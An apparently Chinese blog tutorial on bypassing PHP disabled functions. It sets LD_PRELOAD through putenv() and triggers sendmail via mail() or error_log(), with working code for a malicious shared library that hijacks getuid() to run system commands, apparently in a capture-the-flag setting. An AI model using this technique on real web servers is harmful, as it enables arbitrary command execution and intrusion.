PRE_LOAD+putenv

PRE_LOAD

在 linux 中, PRE_LOAD 可以定义预先加载的共享库文件。设置预先加载的库文件的方法:

  1. 编译一个共享库文件
gcc -c -fPIC test.c -o test
gcc -shared test -o test.so

-fPIC告诉编译器产生与位置无关代码,则产生的代码中使用的全部是相对位置而不是绝对位置,因此代码可以被加载到内存中的任意位置并且可以正确地执行,这是共享库要求的,共享库被加载的时候在内存中的位置是不一定的。
2. 通过 export 设置环境变量

export LD_PRELOAD=./test.so
  1. 一个实例
    编写一个文件 test.c
#include<sys/types.h>
#include<dlfcn.h>
#include<unistd.h>

uid_t geteuid(void) {return 0;}
uid_t getuid(void) {return 0;}
uid_t getgid(void) {return 0;} 

按照上面的命令把文件编译成一个共享库文件,并且设置为环境变量,然后我们再执行id命令,得到的结果返回的 id 值会变成 0,也就是说我们的共享库文件被预先加载了

  1. 查看命令调用的共享库文件和库函数
ldd /usr/bin/id  # 查看命令调用的库文件
readelf -Ws /usr/bin/id  # 查看命令调用的库函数 

我们一般是找到想要利用的命令调用的库函数,然后再库函数本来的原型上重新写一个带有攻击性的函数,并且将这个文件编译成共享库文件。

putenv

php 中一般使用 putenv 来设置环境变量

putenv("LD_PRELOAD=/var/www/html/test.so")

加上这一句话就达到了上面 export效果

一般的攻击流

只要找到可以利用的上层函数一般就可以利用了

  1. 找到调用这个上层函数时所要调用的系统进程
    在 linux 中,进程不能直接访问硬件设备,当进程需要访问硬件设备 (比如说从磁盘读取文件、读取网络数据)时,必须要通过系统调用。
strace # 可以跟踪进程执行时的系统调用和所接收的信息
-f # 这个参数可以跟踪到fork出来的子进程

假设我们跟踪的是 php 中的 mail()函数,创建下面的文件:

<?php
  mail("a","b","c","d");
?>

跟踪命令:

strace -f php mail.php 2>&1 | grep -A3 -B3 execve

可以看到子进程 /usr/sbin/sendmail

  1. 查看子进程调用的库函数
readelf -Ws /usr/sbin/sendmail

一般选择比较简单且常用的库函数来进行利用,比如说 void getuid(void){}
查看函数原型,然后再根据需要创建一个文件并且重写这个函数就行了。

  1. 上传.so 文件到网站,然后在文件中按下面的方式声明就好:
<?php
    putenv("LD_PRELOAD=/var/www/html/test.so");
    mail("a","b","c","d");
?>

最后访问这个 php 文件即可

如果网站 ban 掉了 mail()函数,我们可以关注 error_log()函数,这个函数向我们发送错误信息。

  1. error_log()函数
    一些情况下,phpbanmail函数,那么这种情况下,我们可以尝试以下errorlog()函数,这个函数有四个参数:
error_log(message, message_type, destination, extra_headers)

# message表示要记录的错误信息
# message_type主要有四类
#    0:发送到php系统日志
#    1:发送到参数destination设置的地址,第四个参数extra_headers只有在这个情况下会被用到
#    2:不再是一个选项
#    3:被发送到destination的地址
#    4:message直接发送到SAPI的日志处理程序
# destination是在message_type设为1或者3时message被发送的地址
# extra_headers只有在message_type设为1时才会被用到

这个函数的利用点就在于当 message_type 设为 1 时,extra_headers 会调用一个 mail()的内置函数,启动 sendmail 这个进程, 这个进程会调用 getuid()这个库函数。此时,我们就可以编写.so文件实现任意命令执行了。

  1. 一般的恶意共享库文件的格式
#include<stdlib.h>
#include<stdio.h>
#include<string.h>

void payload(){
  system("/readflag > result.txt");
}

int getuid(void){
  unsetenv("LD_PRELOAD");
  payload();
}

system函数中,我们就可以执行想要执行的命令了。

(如有侵权,联系删除)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
确实,`proc_open`和`putenv`是PHP中非常有用的函数,如果使用得当,它们可以为我们带来很多便利,下面我来介绍一下如何正常使用这两个函数: 1. `proc_open` 函数的正常使用: `proc_open` 函数的基本语法如下: ``` resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) ``` 其中,`$cmd` 参数指定要执行的命令,`$descriptorspec` 参数指定文件描述符的配置,`$pipes` 参数是一个数组,用于存储命令的输入、输出和错误流, `$cwd` 参数指定命令执行的工作目录,`$env` 参数指定命令执行时的环境变量,`$other_options` 参数用于指定其他选项。 在使用 `proc_open` 函数时,需要注意以下几点: - `$cmd` 参数需要进行过滤和检查,以防止命令注入等安全问题; - `$descriptorspec` 参数需要进行正确的配置,以使命令的输入、输出和错误流能够正确的连接; - `$pipes` 参数需要正确的传递和使用,以便正确地获取命令的输出和错误信息; - `$cwd` 参数需要正确设置,以确保命令在正确的工作目录下执行; - `$env` 参数需要进行过滤和检查,以确保环境变量的安全性; - `$other_options` 参数需要根据具体情况进行配置,以满足特定的需求。 2. `putenv` 函数的正常使用: `putenv` 函数的基本语法如下: ``` bool putenv ( string $setting ) ``` 其中,`$setting` 参数是一个字符串,指定要设置的环境变量,格式为“变量名=变量值”。 在使用 `putenv` 函数时,需要注意以下几点: - `$setting` 参数需要进行过滤和检查,以确保环境变量的安全性; - 在使用 `putenv` 函数设置环境变量后,需要注意及时清理和更新环境变量,以免出现意外的影响; - 在使用 `putenv` 函数设置环境变量时,需要注意环境变量的作用范围和生命周期,以确保正确的使用。 总之,对于 `proc_open` 和 `putenv` 函数的正常使用,需要根据具体情况进行安全检查和过滤,并根据需要进行正确的配置和使用,以确保程序的安全性和正确性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值